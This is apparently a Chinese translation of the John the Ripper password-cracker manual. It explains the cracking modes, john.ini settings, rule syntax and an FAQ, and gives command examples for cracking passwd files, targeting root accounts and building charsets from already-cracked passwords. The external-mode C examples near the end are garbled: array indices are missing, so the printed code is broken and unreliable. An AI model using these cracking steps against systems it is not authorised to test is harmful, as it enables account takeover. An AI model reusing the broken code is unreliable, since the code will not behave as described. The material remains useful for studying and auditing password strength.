这里的破解模式的叙述通常都很简短, 而且只函括了一些基本的东西, 你可以看一下 "使用者自订" 这一个小节, 来获得更多的资讯. 字典档模式 ---------- 这是 John 所支援的破解模式中最简单的一种, 你须要的只是指定一个字典档 (文字档案, 每行一个英文单字)及一个或一些密码档, 你可以使用规则化的方式(用来修正每个读入的单字) 来让这些规则自动的套用在每个读入的单字中. 字典档中的字不能够有所重覆, 因为 John 并不会删除重覆及将字典档排序, 所以如果有重覆的化会占用过多的记忆体, 最好能将一些常用的字典放在你字典档的开头, 当然你最好能够按字母的排列方式来排序你的字典档,(如果每一个字跟先前的那个字的差别小一点的话, John 会跑得稍微快一点点, 这也是为甚　要排序的原因了, 这个状况在你破解的密码档小的时候特别明显). 译者按:没想到连这个都测试, 真是想得周到呀!! 另外, 你不须要担心每一个字元的长度超过了八个字元, John 会自动比对这些字, 如果前八个字元一样, John 会自动的处理这种情况, 而且只试同一个密码一次, 前提是这个字必须是接在前一个字後面, 这也就是为甚　要排序字典档的原因了. 你最好是不要擅作主张的把超过八字元的字切成八个字元, 因为在规则化的破解模式之下, 後面的字可能还会有其它的用处. 译者按: 因为 DES 编码方法在以前的系统上有八字元的限制, 所以超过八字元的密码亦视同八字元来编码, 超过的部分则会被系统自动切除. "Single Crack" 模式 ---------- 这是你刚才使破解密码时需使用的, 它将会试著使用 login/GECOS 资讯来当做密码, 这些资讯通常适用於该资讯来源的帐号(在帐号上是相同的 salt, 所以几乎不需要额外的破解时间 (很快的意思), "Single Crack" 婆式比字典档模式还要快很多, 它也让你可以使用许多种规则 (这些规则通常在使用此一模式时都会开启) 在合理的时间之内. 当然, 这个模式只会得到使用基本资料来当作密码的使用者资料. 值得注意的是, 当你用这个模式在同一个时间跑很多的密码档时, 通常会比你将这些档案分开来跑, 还要能够更快的得到已经破解的密码. 不要跑尽所有的规则也许是一个好方法, 但是节省时间, 然後用其它的破解模式来跑, 这样的话规则型态会以号码来排列破解的密码. CJack 的使用者必需要注意到 John 的 "Single Crack" 模式是完全不一样(更好)的. 它不需要指定一个密码档, 因为密码档制造的规则型态与程式码已经内建在 John 里头了. 增强模式 ---------- 这是功能最强大的破解模式, 它可是试所有可能的字元组合来当作密码, 但是这个模式是假设在破解中不会被中断, 所以当你在使用长字串组合时, 最好不要直中断执行 (事实上你还是可以在执行时中断, 如果你设定了密码字串长度的限制, 或者是让这个模式跑一些字元数少一点的字元集), 然後你将可以早一点中断它的执行. 这就是为甚　这个　式须要指定字元频率表 (character frequency tables, 字元集)-- 在有限的时间内去得到所有可能的密码. 要使用这个破解模式, 你须要指定及定义破解模式的参数,(包含密码长度的限制还有字元集). 这些参数必须写入到~/john.ini 中的[Incremental:] 这一段内, 可以任意命名 (就是你必须要在执行 John 时在命令列指定的名称).你可以使用一个重新定义的增强模式, 或是定义一个自订的. 若你曾经定义过了一次, 日後当你要再使用同一种增强模式的时候只要指定增强模式要套用的选项, 相同的选项及密码档的套用就会自动的回复. 扩充模式 ---------- 在使用 John 的时候你可以定义一些扩充的破解模式.只要在~/john.ini 的[List.External:] 一节中指定就可以

了,就是你所指定的模式名称. 这一段中必须要包含一些 John 尝试要产生的字典的功能. 这些功能的撰写方式就是 C 语言的子集,它会自动的在 John 执行前编译 (只有在你开启 John 时使用这个模式才会被编译). 54ne.com

如何自订

John the Ripper 的破解行为及方式可以编辑~/john.ini 来自订, 你可以在执行 John 的时候在命令列指定破解方式, 其它 John 的选项不会受到命令列的影响, 为增强模式定义一些参数, 为 Single Crack 模式定义一些规则, 或者你也可以定义一个新的破解方式. 这个设定档 (~/john.ini) 是由许多小段组合而成的. 每一个小段的起始是由括弧括起来, 里面所写的是这一段的名称. 每一个段中内含了指定的一些变数来组成可变动的变数, 或由一些特别的项目来指定段的型态(像这样的段启始字元为 'list.'). 段跟可动变数的大小写对程式来讲是无所谓的. 如果在行前加上了 '#' 或是 ';' 字元, 就表示这一行将会被程式所略过不予执行, 你可以用来加入一些注解. 一般选项 ---------- 预设一些命令列选项可以放在 [Defaults] 这一段中. 你可以定义下面这些值: Wordfile 设定你的字典档档名, 这会自动虚拟成你正使用的破解模式是字典档模式, 你不需要再加上 '-wordfile' 这个选项. Timeout 设定中断的时间, 单位为分钟.如果使用这个选项的话, 所有的破解模式都 会接受时间到就自动停止 (建议不要指定这项, 在命令列指定就好了). Beep 当系统找到密码时会发出 '哔'声, 或是在一些要问你 (Yes/No) 的时候也 会令你的电脑发出声响来提醒你. 另一组相反的选项为 '-quiet', 它不会 令你的电脑发出声响, 所以最好先指定 Beep, 当你需要让电脑安静时在命 令列使用 -quiet 即可. 一些其它的选项可以先定义在 [Options] 这一段中: Realtime 设定已经经过的时间为 D:HH:MM:SS 来取代原先用秒数来计算的方式 (跟 CJack 相同). Percent 设定显示百分比指示器. 增强破解模式的参数 ---------- 要定义一个增强模式的参数, 你需要先建立一个叫作 [Incremental:] 的段, 这里的 你可以自订这一段的名称. 在 John 里面有一些已经设定好的预设增强模式的参数定义, 你可以用这些定义来当作你自订参数的范本. 下面这些是支援的参数: CharCount 让你限制不同字元使用时的字数限制, 让 John 启始时可以早一点试跑长字 串的密码,也可以用来设定字元集的特别长度当使用一个外部的字元集档案 其字元数量小於你在 CharCount 所设的字元数时.内定值(当此值未定义时 的预设值) 所有定义的字元都会被使用. MinLen 最小的密码字串长度, 字元数 (1 为内定值). MaxLen 最大的密码字串长度, 字元数 (8 为内定值). Wordlike 设定为 'Y' 可以开启一个简单的字典过滤器 (一排字有多於一个的母音, 或多於两个个没有母音的一排字, 都会被过滤掉). File 外部字元集档名 (档案是由你所设定的路径读入, 内定为 ~ 目录) 设定这 个参数会取消你在设定档中内定的字元集. CharsetNM (N 与 M 为数字格式, 1 <= N <= 8, 1 <= M <= N)为一个密码档定义一个 字元集长度为 N, 字元指标为 M.字元的顺序是很重要的, 比较频繁的字元 将会较先被取代, 字元集不需要是相同的大小. 字典档的规则 ---------- 定义给字典档及 "single crack" 模式的节段是放在一个叫做 [List.Rules:Wordlist] 跟 [List.Rules:Single] 之中. 作者使用一种叫作扩充破解 (by Alec Muffett) 的语法, 或许有许多人对於这种破解模式已经很熟悉了. 作者加入了更多重要的的规则来使它更为优秀, 让它能够使用同一个原始来源产生更多更复杂的方式. 当在定义规则的时候, 在每一行中只需要安排一种规则 (之前可能需要下达一些指令). 每一种规则是由一个或多个指令组成. 下面这些指令是 John 所支援的 (大部分的说明是由 Crack 程式的 dicts.rules 所转录下来的, 但是程式码是作者自己重写的, 而且比 Crack 还要快): 一般常用指令: : no-op - 不要在输入的字之後作任何动作 n 拒绝输入的字长度是 > n 的字元, n = 0-9 ^x 将 'x' 由每个输入的字移出 $y 在每个输入的字後加上 'y' 这个字元 l 强制小写字 u 强制大写字 c 强制第

一个字大写(其馀小写) r 把字元排列次序巔倒: "Fred" -> "derF" d 重覆每个字: "Fred" -> "FredFred" f 镜射形态字: "Fred" -> "FredderF" p 尝试每个字元的大小写变化 (abc, Abc, aBc, abC....) onx 如果字元不满几个字, 就把它加到几个字, n (由 0 开始) 每个未足字元都以 'x' 字取代. inx 在指定字元数插入 'x' 的字元, 字元数 n (由 0 开始) 後面的字将会依插入的字元多寡 而向右边作位移 nb: 如果指定的 > 字串总长度(input), 字元 'x' 将会用增加的方式加上 xnm 由字串中抽离某些字, 字元数 n (由 0 开始) 而且会抽离 m 个字元. 会使用在字元层级的指令: sxy 取代 (交换), 将字串中所有的字元 'x' 取代为 'y' s?cy 用 'y' 来取代所有字元为 'c' 者 @x 由字串中清除所有字元为 'x' 者 @?c 由字串中清除所有字元为 'c' 者 !y 拒绝执行字串中包含有 'y' 者 !?c 拒绝执行字串中包含在 class 'c' 中有定义的 /x 拒绝所有字串中未包含字元 'x' 者 /?c 拒绝除了字中包含 class 'c' 以外的所有字 =nx 拒绝除了 class 等於 'x' 以外的所有 =n?c 拒绝除了 class 'c' 以外的所有字 nb: 所有的字串都由位置(Position) 0 开始计算 用在上面所叙述的字元 class 的指令: ?? 相同於 '?' ?v 相同於 母音: "aeiouAEIOU" ?c 相同於 子音: "bcdfghjklmnpqrstvwxyzBCDFGHJKLMNPQRSTVWXYZ" ?w 相同於 空白符号: " \t" ?p 相同於 标点符号: ".,:;\"?!`" ?s 相同於 一般符号: "$%^&*()-_+=|\\<>[]{}#@/~" ?l 相同於 小写字母 ('a' to 'z') ?u 相同於 大写字母 ('A' to 'Z') ?d 相同於 数字 ('0' to '9') ?a 相同於 字母 ('a' to 'z' and 'A' to 'Z') ?x 相同於 字母及符号 ('a' to 'z', 'A' to 'Z' and '0' to '9') 用来表示相反 class 的字元就用大写的字母来表示, 例如: 用 ?d 来表示 '数字(DIGITS)', ?D 就表示 '非数字(NON-DIGITS)' 依此类推. 上面所叙述的只令是跟 Crack v4.1 相同的, 下面的则是 John 中所新增的 (作者说明这些指令也许不是很有用处, 且大部分的东西在 Crack v4.1 也可以作得出来): { 字串左移: "jsmith" -> "smithj", etc } 字串右移: "smithj" -> "jsmith", etc Dn 删除位置 n 的字元 (由 0 开始) 及把该字元後的字左移 P "crack" -> "cracked", etc (过去式, 只针对小写) G "crack" -> "cracking", etc (现在进行式, 只针对小写) ~i 由键盘方式转换大小写(加 Shift 键): "Crack96" -> "cRACK(^", etc ~I 转换大小写: "Crack96" -> "cRACK96", etc ~v 将母音转小写: "Crack96" -> "CRaCK96", etc ~> 由键盘方式将所有字元右移: "Crack96" -> "Vtsvl07", etc ~< 由键盘方式将所有字元左移: "Crack96" -> "Xeaxj85", etc 特别针对 "single crack" 模式的指令有双字串支援, 控制这些指令要套用指令时需要用到下列的命令: 1 只有第一个字 2 只有第二个字 + 包含两个字 (必需只用在 '1' 或 '2' 之後, 也就是 1+2 或 2+1) 如果你在规则设定中使用了上述的指令, 将只会执行双字串(全名, 由 GECOS 资料得来), 而放弃只有单一字串的字. '+' 会假定在规则结尾使用这些命令的时候, 除非你用手动指定. 例如, '1l2u'会转换第一个字为小写, 第二个字为大写, 而且会把两个字相连. 在使用 '+'时可能要应用一些其它的指令: 在你分别应用一些指令来执行的时候 '1l2u+r' 会用相反顺序来相连这两个字, . [Crack v5.0 在作者更新 John 的时候还没有发行, 所以作者使用一些自己的方法来扩充规则语法. 事实上, 新版 Crack v5.0 的规则看起来像是多馀的, 或是跟作者已加在 John 里的功能是相同的([== D0,] == rD0r, C == c~I, t == ~I, (x == =0x,)x == r=0xr, 'n == x0n). 不一样的规则为 %nx, or %n?c (拒绝执行,除非该字串最少包含了有 n 个 'x' 字元, 或是 n 个 class 'c' 里定义的字元).无论如何, 作者已经把所有的功能都加在 John 里面了, 基於相容性的理由. 请确定字首 '[' 及 ']' 加上了 '\'如果你有使用到的话, 因为他们已经用来控制其它的功能了.] 如果一个规则 (命令列的一行) 没有改变字, 那一个字将会被排除而不执行, 除非整个规则包含了冒号 ':', 假设你加入了冒号 ':' 在你的规则定义中. 前置处理是用在组合类似的规则进入同一个来源. 如同范例, 如果你希望让 John 尝试小写密码并加上数字, 你可以为每个数字定义一个规则, 总共有十个. 现在想像一下加入两位数字(号码)--这样设定档会便得很大且会很难看. 用前置处理, 你可以很简单的就作到这些事情: 很简单的写一个来源行, 包含这些规则的共用部分, 在括号中写出你要放进不同

规则中的字元 (你必需要使用正规的表示法). 然後前置处理器就会在 John 启始的时候产生你所要的规则, 像上面的范例一样, 来源行会是 'l$[0-9]' (小写字串, 并且加上数字) 及 'l$[0-9]$[0-9]' (小写字串并加上两位数字). 这些来源行会分别的加到 10 及 100 规则. 总之, 前置处理的命令处理顺序是由又至左, 字元的处理顺序则是由左至右, 在加入两位数字这样的例子中, 会得到正常的顺序. 注意我在这些范例中只用到字元范围的形态 (由 A 到 Z 等的为范围形态), 但是你可以用字元列表来组合他们, 像'[aeiou]'会使用母音, 还有'[aeiou0-9]'会使用母音跟数字. 有一些控制字元在规则里 ('[' 括号用来启始一个字元列表, '-' 表示一个包含在内的范围, 这一类的). 如果你希望把某一行放在设定档里面, 但是又不想使用他们的话,你可以在前面加上 '\' 符号, 那会使 John 忽略这一行不去执行. 还有, 如果你需要开始一个前置处理表列在开始的一行中, 你将会用到 ':' 符号, 不然的话 John 会认为它是一个新节段的开始. 定义扩充模式 ---------- 要定义一种扩充模式, 你需要建立一个节段叫作 [List.External:], 就是你自己对这个模式定义的名称. 这一个节段中必需要包含一些使用 C 语言子集所写的函数, 当你在命令列使用这个模式的时候, John 会编译及使用这些程式, 编译程式会产生虚拟机械码, 比任何直译器或转换程机器可执行码来得好用 (现在只完成了 x86 硬体可使用的部分). 下面这些功能是一般会在 John 中使用到的: init() 在启始时呼叫, 会初始全域变数 filter() 在试每一个字串时呼叫, 可以将一些字串过滤掉 generate() 产生字串时呼叫, 当没有使用其它的破解模式时 restore() 回复一个中断的工作时呼叫 这些函数的型别都是 'void', 不需要引数(参数), 使用到了全域变数 'word' (已定义为 'int word[16]'), 除了 init() 之外, 它在 'word'初始之前已经被呼叫了.'word' 变数包含了要试的字串(ASCII),filter()可以改变它, 或是 0 以外的, 可以用'word[0]' 来保留它. generate() 不能假设任何特殊值的 'word'当它被呼叫的时候, 但是可以将它放在下一个将要试的字串, 或是 0 以外 'word[0]' 当破解工作结束的时候 (这将会引起 John 结束执行). restore() 必需设定全域变数来继续执行由支援的 'word' 字串. 你可以单独使用任意一个扩充模式, 或跟其它某些模式一起使用, 在这个情况之下只有 init() 以及 filter() 会被使用到 (而且只有 filter() 是必需要的). 使用扩充模式的过滤器跟其它的破解模式及 '-makechars'这个命令是相容的. 我们建议你不要使用 filter(), 最少在使用扩充模式於你自己的 generate() 时不要过滤太多的字, 最好的方法是改一下 generate() 使它不要产生会被过滤掉的字串. 就像作者在上面所提到过的, 编译器支援了 C 语言的子集. John 是一个 cracker, 不是一个编译器, 所以我不认为它需要其它的东西. 这里有一个列表, 列举出 John 跟 C 编译器功能上的差别: - 只支援标准的功能, 你不能自行定义一个自己的; - 只支援 'while' 的回圈; - 只支援 'int' 与 'void' 资料型别; - 只支援单一十进位的阵列; - 不支援结构化 - 不支援指标 (没错, 你有更多的阵列了呀); - 大概还有些别的吧... 一些支援的功能与 C 语言不同的地方: - 阵列名称单独参考到它的第一个基本元件而非这个阵列的位址(以 0 作启始); - '++' 跟 '--'运算元在表示式计算的时候执行, 而不是 pre/post-calculated; 这会 在 C 的很多例子中传回相同的结果 (像在 C 语言跟 John 的编译器中 'i = j++;' 都等於 'i = j; j = j + 1;'但是假如这些变数被应用不只一次的话, 传回的结果会 跟 C 不同 (如 'i = j++ - j++;' 在 John 中就等於 'i = j - (j + 1); j = j + 2;' 但是在 C 语言里却变成是 'i = j - j; j = j + 2;'); - 我希望没有别的地方是不同的了... 无论如何, 强力的 C 语言语法结构 (所有整数运算元),'if'/'else' 跟 'while' 仍然可以使用. 这对所有的小程式来讲应该是足够的了. 你可以看看在设定档支援的范例档中的扩充模式范例. ========== 使用范例 ========== 中国网管联盟 www.bitscn.com

这些范例可以让你 解使用 John 可以帮你作哪些事, 也许不够明白的来表示该如何来使用, 我只能试著来回答一些问题: 命令列 -------- 1. 假设你刚得到一个密码档,'passwd.1', 且你想要试著破解它, 你可以使用 Singel Crack" 模式: john -single passwd.1 或者,你也可以使

用简写(John 在很多选项都有提供简写的方式,让你很快的能够完成输入) john -si passwd.1 如果你有很多的档案要破解, 最好的方式就是一次读进来: john -single passwd.1 passwd.2 或者你也可以这样: john -single passwd.* 2. 现在, 当你已经破解了一些密码, 这些已破的密码将会存在~/john.pot 这个档案里 你可以浏览一下你所破解的密码: john -show passwd.1 如果这个列表超出了萤幕(解出了很多密码??), 你可以使用下面这个输出方式: john -show passwd.1 | more 现在, 你可能会得到一些错误讯息告诉你有许多的帐号的 shell 已经被取消掉了, 你可以让 John 修改这些字串 (假设 shell 名称为 '/etc/expired'): john -show -shells:!/etc/expired passwd.1 或是简写, 但是会跟 '/any/path/expired'有相同的效果: john -show -shells:!expired passwd.1 或者, 你也想要修改其它的 shell 字串, 如 '/etc/newuser': john -show -shells:!expired,!newuser passwd.1 检查看看有没有 root (uid 0) 帐号已经破解成功了: john -show -users:0 passwd.1 或者, 检查所有密码档中, 已破解的 root (uid 0) 帐号: john -show -users:0 passwd.* 只显示 root (login 'root') 帐号: john -show -users:root passwd.1 3. 当你使用 "Single Crack"模式, 破解出来的帐号数目不是很多的时候, 你可以使用 较具威力的破解模式, 例如字典档模式. 假设你的字典档名为 'words.lst': john -w:words.lst passwd.1 或者, 把规则破解模式也打开 (会更慢, 但是更具威力): john -w:words.lst -rules passwd.1 要只破解拥有完整 shell 使用权的帐号 (一般来说, '-shells' 跟 '-users' 这两个过滤就可以完成你想要作的工作了, 在其它的破解模式也是一样. john -w:words.lst -rules -shells:sh,csh,tcsh,bash passwd.1 就跟其它的破解模式一样, 你可以更快的破解一些档案, 一次下达指令: john -w:words.lst -rules passwd.* 可以只破解某些帐号. 像下面这个命令会试著破解具有 root (uid 0) 权限的帐号: john -w:words.lst -rules -users:0 passwd.* 然而, 我不建议你只破解 root 的密码, 因为那通常会比用系统安全漏洞来获取 root 的权限花费更长的时间(通常不是在合理的时间内可以作到的), 如果你是用来试著破解你自己主机上的密码, 想要确定这些密码不会被破解的话, 最好是选一个好一点的 root 密码, 然後只破解其它的. 有时把你的密码档分开两部分并且分别进行破解是有用的, 就像: john -w:words.lst -rules -salts:2 passwd.* john -w:words.lst -rules -salts:!2 passwd.* 这会使 John 在试两个或更多的帐号时动作快一点, 然後再试其它的总共需要的破解时间将会差不多, 但是你会更容易的得到一些破解的帐号, 而且可能也不需要其它的. 还有, 你可能想要用一个小一点的字典档来试所有的帐号, 只有用这个方法你可以试得快一点 (用 '-salts:2') 在一个大型的密码档上. 通常这是在使用 '-salts'大於 2 (有时甚至高於 1000 都还可以执行), 为你的个别状况进行调整吧. 注意你定义的字典档规则第一行中包含了 ':' (表示 '试所有包含在列表中的字'), 如果你已经执行了一个字典档破解模式而没有使用规则的话, 也确定你用相同的字典档加上规则来跑, 这一点要特别注意!! 4. John 里最强的破解模式是增强模式, 你可以试著用这个指令跑跑看: john -i passwd.1 这个指令会使用内定的增强模式的参数, 定义在 ~/john.ini's [Incremental:All] 这一个节段中. 在设定档中支援了这些参数使用所有 95 个字元集, 而且试所有长度的密码, 从 1 到 8 个字元. 不要预期这个模式的破解会在合理的时间内结束(除非所有的密码都设得很容易破, 而且很快的被破解掉了). 在很多的情况之下, 当你破解一些简单的密码时, 使用其它定义好的增强模式会比较快一些, 由限制字元集来著手. 下面的指令只会试 26 个字元组合排列方式, 由 1 到 8 个字元来算, 它将会尝试由 'a' 到 'zzzzzzzz'的所有字: john -i:alpha passwd.1 相同的, 你可以配合著增强模式只破解 root 帐号及使用一些其它 John 的功能, 这个指令会试著破解所有的 root (uid 0) 帐号在所有的密码档中, 而且只有在这些产生的相同 salts, 所以你得到最少两倍的效率 -- 如果你有很多个密码档的话 (像 1000 个密码档, 命名为 '*.pwd'), 否则就是没有 root 在相同的 salts: john -i -users:0 -salts:2 *.pwd 5. 如果你得到了一个密码档, 而且已经有很多个帐号已经破解了 (但你需要更多), 而 且这个密码档的密码设定是相当罕见的,你可能会想要产生一个新的字元

集档案, 以 该密码档为基础的字元集: john -makechars:custom.chr passwd.1 然後把这个新的档案用在增强模式中. 如果你由同一个国家得到很多个密码档的话, 也许可以把他们一起用来产生字元集档案这样你可以用它来帮你破解出更多的密码, 当然这个自元集日後也可以用在同一个国家所得到的密码档上: john -makechars:custom.chr passwd.1 passwd.2 <把你的 custom 增强模式定义在 ~/john.ini 中> john -i:custom passwd.3 上面这个范例中, 我门假设 'passwd.1' 跟 'passwd.2' 这两个密码档是来自同一个国家, 而且你已经拥有很多破解过的密码了, 而 'passwd.3' 也是从相同的国家来的, 你现在正打算要破解它. 当你在产生一个新的字元集档案的时候, 你可以使用一些已经定义好的, 或自行定义的过滤器, 来产生一些简单的字串: john -makechars:my_alpha.chr -external:filter_alpha passwd.1 如果你的~/john.pot 设定档已经很肥大的话 (或是你没有的字元集档案), 也许你会想要使用它来产生新的字元集档案: john -makechars:all.chr john -makechars:alpha.chr -external:filter_alpha john -makechars:digits.chr -external:filter_digits 在上面的范例中, John 会覆写已经存在的字元集档(如果它们原先已经在你的目录中的话), 写入的内容就是你在~/john.pot (John 使用整个档案, 如果你没有指定任何密码档的话), 为了你的方便使用, 注意字串过滤的使用也定义在 ~/john.ini 之中. 设定档 -------- 1. 假设你认为你要破解的某些密码档中有很多的使用者他们所设定的密码都是以帐号 名称再加上 '?!' 的话. 你只要新增一个 "Single Crack" 模式的规则, 把这一行 放在你的设定档中: [List.Rules:Single] $?$! 提示: 如果你要将 John 原先所设定的预设值保留下来的话, 你可以简单的修改这个节 段的名称, 把它改成 John 没有使用的名称, 然後再建立一个跟旧节段一样名称 的节段, 但请注意新节段必需要把 'list.' 这个关键字移除 (不使用), 这样在 执行的时候才不会出现错误. 相同的指令也能够套用在字典档破解规则上. 2. 如果你产生了一个自订的字元集档案(如上所述) 你也需要使用增强模式的参数定义 一个~/john.ini 的节段. 最简单的情况之下看起来会像下面这样 ('Custom' 所指的 可以是其它的档案, 用你所喜欢的名称来命名): [Incremental:Custom] File = custom.chr 这会让 John 只使用你用该密码所制作出来的字元集, 如果你想要用所有 95 个字元的话, 你也需要加入这一行: CharCount = 95 加入这一行会告诉 John 扩充你的字元集档, 如果 95 个字元(ASCII codes 32 to 126) 中的某些字元没有出现在你的字元集档中, 字元加入的次序为: a-z, A-Z, 1-9, 0, 及其它. 你也可以使用 CharCount 来限制 John 使用不同的字元数: CharCount = 25 如果你在产生字元集档时没有使用任何的过滤器, 设定较低的 CharCount 会剃除一些罕见的字元, 能够让 John 更容易尝试较复杂, 较长的密码 要让 John 只尝试某些长度的密码, 可以加入下面这几行: MinLen = 6 MaxLen = 8 把 'MinLen' 设定的长一点, 就像上面的范例一样, 在机器有限制使用者密码长度的时候是很合理的 (然而, 注意 root 通常可以为使用者设定任何长度的密码而不受此限). 相反的, 如果你觉得密码应该不会是很长的, 你可能会想要把 'MaxLen'设定得小一点. 当只使用字母字元(alphabetical)的时候, 也许开启简单的内见过滤器会很有用, 如果很多密码设定得很简单: [Incremental:Wordlike] CharCount = 26 MinLen = 3 Wordlike = Yeah File = alpha.chr 3. 当使用 John 在安装小於 4Mb 的机器上时, 你可能须要使用小一点的字元集, 在使 用 '-makechars' 来产生的字元集, 需要很大的记忆体来扩充 (要快一点执行的话) 在你同时读进很多个密码档的时候也需要这样子作, 在没有足够的记忆体时, 或让 John 在破解很少的 salts 时稍微跑得快一点. 这都有可能会发生, 因为 John 在每 个字读入像上一次读入的字, 或只有某些部分的字有改变时速度会快一些.当使用了 大的扩充字元集档的时候, 字串通常每一次的测试都是比在~/john.ini 中的小字元 集大很多, 字串的差别会相差很大. 而且,大的字元集在扩充的时候花花费较多的时 间. 然而, 你需要注意的就是利益/时间是呈正比的, 要得到更多的密码就要花更多 的时间,用最好的顺序来跑大的扩充字集也是很重要的. 所以聪明的人会使用小一点 的字元集, 如果他们没有别的选择的话, 或是你原本就是想要尝试

所有可能的组合. 我故意把比较小的字元集由~/john.ini 中拿掉, 这样你才能够在 'File=' 这一行中 写上你会用到的字元集 4. 在其它特殊的情况之下, 你也许会使用自订的较小字元集, 如果你知道使用者常把 他们的密码加上'1', 你可以用这样的范例: [Incremental:Suffix1] MinLen = 6 MaxLen = 6 Charset61 = abcdefghijklmnopqrstuvwxyz Charset62 = abcdefghijklmnopqrstuvwxyz Charset63 = abcdefghijklmnopqrstuvwxyz Charset64 = abcdefghijklmnopqrstuvwxyz Charset65 = abcdefghijklmnopqrstuvwxyz Charset66 = 1 5. 你也可以用写一个额外的字串过滤器来达到跟上例相同的结果: [List.External:Filter1] void filter() { int i; i = 0; while (word && word >= 'a' && word <= 'z') i++; if (word != '1' || word[i + 1]) word = 0; } 这个过滤器只会把有相同字元且结尾是 '1'的滤除. 你可以把它用在其它不同的破解模式中, 但是都会变得很慢, 因为大部分的字都会被滤掉. 最好是使用它来产生字元集然後再来使用, (如果你已经有很多密码已经破解了, 会跳过过滤器). 如果你在某些情况下无法使用频率表(没有找到规则), 你可以在额外破解模式中用相同的程式: [List.External:Suffix1] int len, current[9]; void init() { int i; current[len = 6] = 0; current[i = len - 1] = '1'; while (i--) current = 'a'; } void generate() { int i; i = len + 1; while (i--) word = current; i = len - 2; while (++current > 'z') if (i) current[i--] = 'a'; else current = -1; } void restore() { int i; i = len + 1; while (i--) current = word; } feedom.net

======== F.A.Q. ========

Q: 为甚 要命名为 "John"?

A: 为甚 不?

Q: 为甚 命名中有 "the Ripper" 这个字?

A: 那是 Lost Soul 的主意. 问他吧!

Q: John the Ripper 有比 Cracker Jack 还要好用吗?

A: 我觉得比较好. John 支援了所有 Cracker Jack 所提供的功能, 而且也多了很多新 的功能. 还有, John 在 Pentium 上跑得 Jack 还快, 甚至在有些 486 机器上也比 Jack 快很多.

Q: John the Ripper 比 Crack 还好用吗??

A: 看你自己. John 是有比较快, 而且有一些 Crack 没有的功能. 但是 Crack 也是一 个不错的程式.

Q: 为甚 John 不能在我的旧 386 上跑得比较快?

A: John 是在 486 以上的机器作最佳化的. 如果要为 386 的机器作最佳化要花很多的 时间. 如果你只有 386 机器的话, 你最好能在 InterNet 上找一台快一点的机器来 跑 John. (对啦! 就是不出 386 版本了! 当然, 386 面临淘汰了嘛!)

Q: John 有针对 Pentium 进行最加化的版本吗?

A: John 已经针对 Pentium 级的机器进行过最佳化了!

Q: 我要怎 样测试 John 的 crypt() 函式是否工作正常呢?

A: John 在每次执行的时後都会自己测试一次, 你不需自己测试.

Q: 我要怎 样使用 John 的 "single crack" 模式? 他好像不能使用字典档. A: 没错, John 跟 Cracker Jack 的 "single crack" 模式有很大的不同. RTFM.

Q: 为甚 你不把 "single crack" 改良得跟 Jack 一样好?

A: Jack 的 "single crack" 模式不是最好的, 它比 John 来要差. 我很高兴有人会提 出这个问题... 也许是因为 Jack 的模式看起来比较复杂而令你有这样的错觉吧.

Q: 可不可以把 Jack 的 JPP.EXE, 改成可以在 Windows 95 上面跑?

A: 你不需要它了. 但是你大概真的须要再读一下这篇文章中 "使用者字订"这个章节, 有关於字点档规则的部分. 而且, 我认真的建议你不要在 Windows 95 上作任何的 工作.

Q: 我要怎 看已经破解的密码? 在 CJack 中有 JACKPOT.EXE 这个档呀.

A: 在命令列上使用 '-show' 这个指令.

Q: 为甚 John 不读入我的密码档呢? 它只显示 'Loaded 0 passwords'.

A: 你的密码档大概是 shadow 过的吧. 你需要抓到密码档跟 Shadow 档, 把它们组合在 一起, 然後再来使用 John. 当然, 如果你的密码档格式没有被 John 支援的话也会 出现相同的讯息.

Q: 我要如何解开 shadow?

A: 你大概是说不须要 root 权限就拿到 shadow 档吧. 嗯,这里有一些小诡计, 但最好 你还是需要 root. 很抱歉, 我不是在提这些事, 或是告诉你该如何 "hack" root. 这不是这个 FAQ 的原意.

Q: 为甚 John 在增强模式不显示进度指示呢?

A: 你真的想要一直看著 0%吗? 如果你再问一次这个问题, 你大概需要再读一次这份文 件

了(增强模式方面的说明).

Q: 为甚 John 显示的是无意义的 c/s 数值而不是秀出每秒的 crypt() 进度?

A: John 显示出来的数值表示每秒组合 (login 及 password) 而不是每秒 crypt(). 如 果你只想要试试编码的速度的话, 使用'-test'这个选项. 注意破解中所显示的 c/s 数值并不是无意义的-- 它表示你在个别密码档的实际破解速度, 而且可能可以在你 用 '-salts' 功能调整速度的时候.

Q: 使用增强破解模式时, 我查觉到 c/s 值小於其它的破解模式很多, 甚至跟 John 1.0 版比起来也少了很多, 这是怎 回事呢?

A:你可能只有执行 John 几分钟吧. 新的增强模式每次在 John 切换到不同的密码长度 时, 使用需要扩充的较大字元集. 这个长度转换需要花费一点时间, 所以才造成 John 每一秒尝试的密码组合会更少. 很幸运的, 这是只有在 John 破解了一段时间, 切换到 一个新的密码长度, 重新开始执行破解工作时才会有这种情形, 我想你没有必要在这 个密码档上使用. 总之, 如果你不喜欢这个新的方式, 你可以不要用这 大的字元集 (把'file='这一行由 ~/john.ini 中移除) .

Q: John 有支援平行处理吗? A:我有一个像你所讲的, 可以在网路上分开(逐步)处理的 Cracker 计画 (很快就会完 成). John 并不能支援真正的平行处理, 但你仍然能够以自订字元集的方式设定每台 机器跑不同的字元集, 你也可以在增强破解模式加上字串过滤来达到相同的效果.

Q: John 内定的字元集是怎 来的(在 ~/john.ini 跟 *.chr 档的) 它的基础来源?

A: 我参考了一个由世界上的不同机器超过六万五千个真正密码的列表, 我要谢谢这些 使用者帮忙设定他们的密码.

Q: 我要到哪里取得字典档?

A: 你可以在 ftp://sable.ox.ac.uk/pub/wordlists. 找到一些.

Q: 我要如何跟作者取得连络? A: 你可以在这个文件最後的地方看到.

========= 感 谢 =========

在发展 John 的时候, 我使用了其它破解同好的方法及建议: - Crack by Alec Muffett -- 字典档规则语法; - Cracker Jack by Jackal -- 使用者介面; - Star Cracker by The SOrCErEr -- 证明了一个很大的字元表也有执行的价值. crypt() 编码函式所使用的是 Alec Muffett 写的, 跟 Crack v4.1 是同一个. 只有一些设定初始化函式没有改写, 其它的部分已经由我自己的想法改写了新的 crypt() 来使用 (事实上, 目前的这个编码函式使用了许多不同的运算方式). 特

